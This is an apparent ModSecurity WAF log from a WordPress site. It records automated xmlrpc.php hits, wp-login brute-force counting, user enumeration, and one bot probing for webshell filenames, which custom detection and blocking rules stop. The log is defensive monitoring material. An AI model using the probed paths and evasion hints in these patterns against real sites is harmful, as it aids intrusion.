[Thu Feb 26 22:29:44.408191 2026] [:error] [pid 54990:tid 55014] [client 116.202.244.177:56042] [client 116.202.244.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.244.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBY2Htr2qmt_mBhH2wwGgAAABU"]
[Thu Feb 26 22:34:56.052919 2026] [:error] [pid 44444:tid 44467] [client 94.156.104.119:37658] [client 94.156.104.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.156.104.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBaEG2sMNmj-yekUk1WSgAAAhE"]
[Thu Feb 26 22:40:06.355263 2026] [:error] [pid 44444:tid 44458] [client 51.79.82.101:38352] [client 51.79.82.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.82.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBbRm2sMNmj-yekUk1Y0QAAAgg"]
[Thu Feb 26 22:45:01.491726 2026] [:error] [pid 44444:tid 44456] [client 142.93.120.13:50334] [client 142.93.120.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.120.13, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBcbW2sMNmj-yekUk1b4AAAAgY"]
[Thu Feb 26 22:50:10.244946 2026] [:error] [pid 44444:tid 44468] [client 72.167.150.128:55210] [client 72.167.150.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.167.150.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBdom2sMNmj-yekUk1f5wAAAhI"]
[Thu Feb 26 22:54:58.702113 2026] [:error] [pid 3883:tid 3894] [client 217.216.72.111:38130] [client 217.216.72.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.72.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBewuA33x90V6yYHaj-WQAAAUg"]
[Thu Feb 26 22:59:18.385306 2026] [:error] [pid 55051:tid 55064] [client 203.86.122.1:40412] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.86.122.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBfxgmK1w2kZvh5eLHe_QAAAIo"]
[Thu Feb 26 23:03:27.370075 2026] [:error] [pid 55051:tid 55075] [client 192.176.172.166:35036] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.176.172.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBgvwmK1w2kZvh5eLHhngAAAJU"]
[Thu Feb 26 23:12:03.671288 2026] [:error] [pid 25311:tid 25320] [client 82.223.66.148:41856] [client 82.223.66.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.66.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBiw9fdM__yZAgJFSv0TgAAAYY"]
[Thu Feb 26 23:16:25.291988 2026] [:error] [pid 44444:tid 44466] [client 57.130.20.252:47461] [client 57.130.20.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.130.20.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBjyW2sMNmj-yekUk1ysQAAAhA"]
[Thu Feb 26 23:20:44.959299 2026] [:error] [pid 55618:tid 55632] [client 72.167.37.48:51412] [client 72.167.37.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.167.37.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBkzB61Vrh12f_8oWQdlgAAAQs"]
[Thu Feb 26 23:25:17.841556 2026] [:error] [pid 3883:tid 3892] [client 51.195.5.200:50376] [client 51.195.5.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.195.5.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBl3eA33x90V6yYHagEigAAAUY"]
[Thu Feb 26 23:29:54.246750 2026] [:error] [pid 54991:tid 55039] [client 50.6.226.221:32860] [client 50.6.226.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.226.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBm8t4Zx-mJ8gbRB2gYmAAAAFM"]
[Thu Feb 26 23:34:25.499190 2026] [:error] [pid 3883:tid 3898] [client 109.123.233.42:55722] [client 109.123.233.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.123.233.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBoAeA33x90V6yYHagF2wAAAUw"]
[Thu Feb 26 23:39:15.327023 2026] [:error] [pid 55051:tid 55077] [client 72.167.37.48:59068] [client 72.167.37.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.167.37.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBpIwmK1w2kZvh5eLHz5AAAAJc"]
[Thu Feb 26 23:44:19.891359 2026] [:error] [pid 54991:tid 55030] [client 50.6.226.221:55464] [client 50.6.226.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.226.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBqU94Zx-mJ8gbRB2gcJwAAAEo"]
[Thu Feb 26 23:44:43.749249 2026] [:error] [pid 25311:tid 25335] [client 157.15.40.90:58540] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aaBqa9fdM__yZAgJFSv4xwAAAZU"]
[Thu Feb 26 23:44:43.996567 2026] [:error] [pid 55051:tid 55054] [client 157.15.40.90:58652] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aaBqawmK1w2kZvh5eLH1ZgAAAIA"]
[Thu Feb 26 23:44:44.244945 2026] [:error] [pid 44444:tid 44464] [client 157.15.40.90:58736] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aaBqbG2sMNmj-yekUk2EagAAAg4"]
[Thu Feb 26 23:44:44.495648 2026] [:error] [pid 3883:tid 3892] [client 157.15.40.90:58825] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aaBqbOA33x90V6yYHagHCgAAAUY"]
[Thu Feb 26 23:44:44.741999 2026] [:error] [pid 20419:tid 20432] [client 157.15.40.90:58934] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "aaBqbO3DVDvMfTYYUBV9oAAAAco"]
[Thu Feb 26 23:44:45.014600 2026] [:error] [pid 55618:tid 55629] [client 157.15.40.90:59002] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aaBqbR61Vrh12f_8oWQgqQAAAQg"]
[Thu Feb 26 23:44:45.292064 2026] [:error] [pid 3883:tid 3900] [client 157.15.40.90:59089] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aaBqbeA33x90V6yYHagHFAAAAU4"]
[Thu Feb 26 23:44:45.573095 2026] [:error] [pid 3883:tid 3905] [client 157.15.40.90:59185] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aaBqbeA33x90V6yYHagHGQAAAVM"]
[Thu Feb 26 23:44:45.819646 2026] [:error] [pid 3883:tid 3886] [client 157.15.40.90:59267] [client 157.15.40.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/postnews.php"] [unique_id "aaBqbeA33x90V6yYHagHHwAAAUA"]
[Thu Feb 26 23:48:51.784661 2026] [:error] [pid 55618:tid 55643] [client 209.126.12.65:56156] [client 209.126.12.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.126.12.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBrYx61Vrh12f_8oWQhkwAAARY"]
[Thu Feb 26 23:53:22.453139 2026] [:error] [pid 3883:tid 3893] [client 52.38.3.21:48152] [client 52.38.3.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.38.3.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBscuA33x90V6yYHagJAgAAAUc"]
[Thu Feb 26 23:58:32.052528 2026] [:error] [pid 55051:tid 55066] [client 129.121.74.114:59254] [client 129.121.74.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.121.74.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBtqAmK1w2kZvh5eLH8fgAAAIw"]
[Fri Feb 27 00:02:31.266839 2026] [:error] [pid 55051:tid 55073] [client 31.220.85.244:42286] [client 31.220.85.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.220.85.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBulwmK1w2kZvh5eLH-fwAAAJM"]
[Fri Feb 27 00:06:20.954997 2026] [:error] [pid 25311:tid 25337] [client 45.145.131.220:63189] [client 45.145.131.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaBvfNfdM__yZAgJFSv8wAAAAZc"]
[Fri Feb 27 00:06:22.461637 2026] [:error] [pid 54991:tid 55022] [client 45.145.131.220:22469] [client 45.145.131.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaBvft4Zx-mJ8gbRB2glCQAAAEI"]
[Fri Feb 27 00:07:24.678186 2026] [:error] [pid 3883:tid 3888] [client 154.38.160.164:43684] [client 154.38.160.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.38.160.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBvvOA33x90V6yYHagMQQAAAUI"]
[Fri Feb 27 00:16:25.172451 2026] [:error] [pid 55618:tid 55645] [client 37.187.75.30:51092] [client 37.187.75.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.187.75.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBx2R61Vrh12f_8oWQluQAAARg"]
[Fri Feb 27 00:24:54.466933 2026] [:error] [pid 20059:tid 20124] [client 84.46.252.58:40292] [client 84.46.252.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.46.252.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBz1pZBS5wIa_NsqsjMXQAAAdY"]
[Fri Feb 27 00:28:52.996642 2026] [:error] [pid 20059:tid 20119] [client 123.30.109.8:53656] [client 123.30.109.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.109.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB0xJZBS5wIa_NsqsjPqwAAAdE"]
[Fri Feb 27 00:33:25.147280 2026] [:error] [pid 19020:tid 19024] [client 46.182.6.31:37978] [client 46.182.6.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.6.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB11bN3kp7wL6QzPnX_zgAAAUI"]
[Fri Feb 27 00:37:38.068560 2026] [:error] [pid 20059:tid 20113] [client 72.167.37.48:38076] [client 72.167.37.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.167.37.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB20pZBS5wIa_NsqsjWeQAAAcs"]
[Fri Feb 27 00:46:34.316501 2026] [:error] [pid 19020:tid 19024] [client 3.26.181.40:50636] [client 3.26.181.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.26.181.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB46rN3kp7wL6QzPnUHJgAAAUI"]
[Fri Feb 27 00:51:12.884071 2026] [:error] [pid 20059:tid 20123] [client 103.56.163.133:46024] [client 103.56.163.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.56.163.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB6AJZBS5wIa_NsqsjkAgAAAdU"]
[Fri Feb 27 00:55:31.620969 2026] [:error] [pid 20059:tid 20105] [client 57.130.20.252:59366] [client 57.130.20.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.130.20.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB7A5ZBS5wIa_NsqsjnMwAAAcM"]
[Fri Feb 27 00:59:46.443418 2026] [:error] [pid 20059:tid 20122] [client 51.79.82.101:44390] [client 51.79.82.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.82.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB8ApZBS5wIa_Nsqsjp2gAAAdQ"]
[Fri Feb 27 01:05:04.294240 2026] [:error] [pid 19020:tid 19043] [client 82.223.66.148:37820] [client 82.223.66.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.66.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB9QLN3kp7wL6QzPnURjwAAAVU"]
[Fri Feb 27 01:09:48.748312 2026] [:error] [pid 18831:tid 18929] [client 72.167.37.48:48060] [client 72.167.37.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.167.37.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB-XP5KHTHUIuWRG2bBzAAAAFA"]
[Fri Feb 27 01:15:29.828564 2026] [:error] [pid 20059:tid 20116] [client 74.208.90.100:38830] [client 74.208.90.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.208.90.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaB_sZZBS5wIa_Nsqsj3RAAAAc4"]
[Fri Feb 27 01:33:38.211894 2026] [:error] [pid 19020:tid 19035] [client 144.76.99.104:41082] [client 144.76.99.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.99.104, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCD8rN3kp7wL6QzPnUhMwAAAU0"]
[Fri Feb 27 01:38:45.835290 2026] [:error] [pid 20059:tid 20114] [client 51.195.5.200:34976] [client 51.195.5.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.195.5.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCFJZZBS5wIa_NsqsgLOwAAAcw"]
[Fri Feb 27 01:43:31.458281 2026] [:error] [pid 18843:tid 18964] [client 162.240.233.32:34564] [client 162.240.233.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.233.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCGQyuD2bhSYSowPs0BHgAAARg"]
[Fri Feb 27 01:53:15.030123 2026] [:error] [pid 18843:tid 18963] [client 74.91.223.129:43932] [client 74.91.223.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.91.223.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCIiyuD2bhSYSowPs0FPAAAARc"]
[Fri Feb 27 01:58:26.116622 2026] [:error] [pid 18818:tid 18888] [client 162.240.22.47:56396] [client 162.240.22.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.22.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCJwhhPgqk2SeS_W83HowAAAAQ"]
[Fri Feb 27 02:03:47.811946 2026] [:error] [pid 19020:tid 19042] [client 85.215.241.149:46556] [client 85.215.241.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.241.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCLA7N3kp7wL6QzPnUzgwAAAVQ"]
[Fri Feb 27 02:09:04.795924 2026] [:error] [pid 20059:tid 20102] [client 217.154.14.137:33200] [client 217.154.14.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.14.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCMQJZBS5wIa_NsqsgmwwAAAcA"]
[Fri Feb 27 02:13:52.690898 2026] [:error] [pid 18831:tid 18937] [client 45.83.123.49:38344] [client 45.83.123.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.83.123.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCNYP5KHTHUIuWRG2bWqAAAAFg"]
[Fri Feb 27 02:18:22.493618 2026] [:error] [pid 20059:tid 20111] [client 51.195.5.200:34186] [client 51.195.5.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.195.5.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaCObpZBS5wIa_NsqsgvBwAAAck"]
[Fri Feb 27 02:18:40.683827 2026] [:error] [pid 18843:tid 18943] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOgCuD2bhSYSowPs0PkAAAAQM"], referer: https://duckduckgo.com/
[Fri Feb 27 02:18:42.393167 2026] [:error] [pid 18843:tid 18958] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOgiuD2bhSYSowPs0PnwAAARI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:18:44.980466 2026] [:error] [pid 18843:tid 18964] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOhCuD2bhSYSowPs0PsQAAARg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:18:46.752038 2026] [:error] [pid 18843:tid 18952] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOhiuD2bhSYSowPs0PwgAAAQw"], referer: https://gigfragments.org/wp-login.php
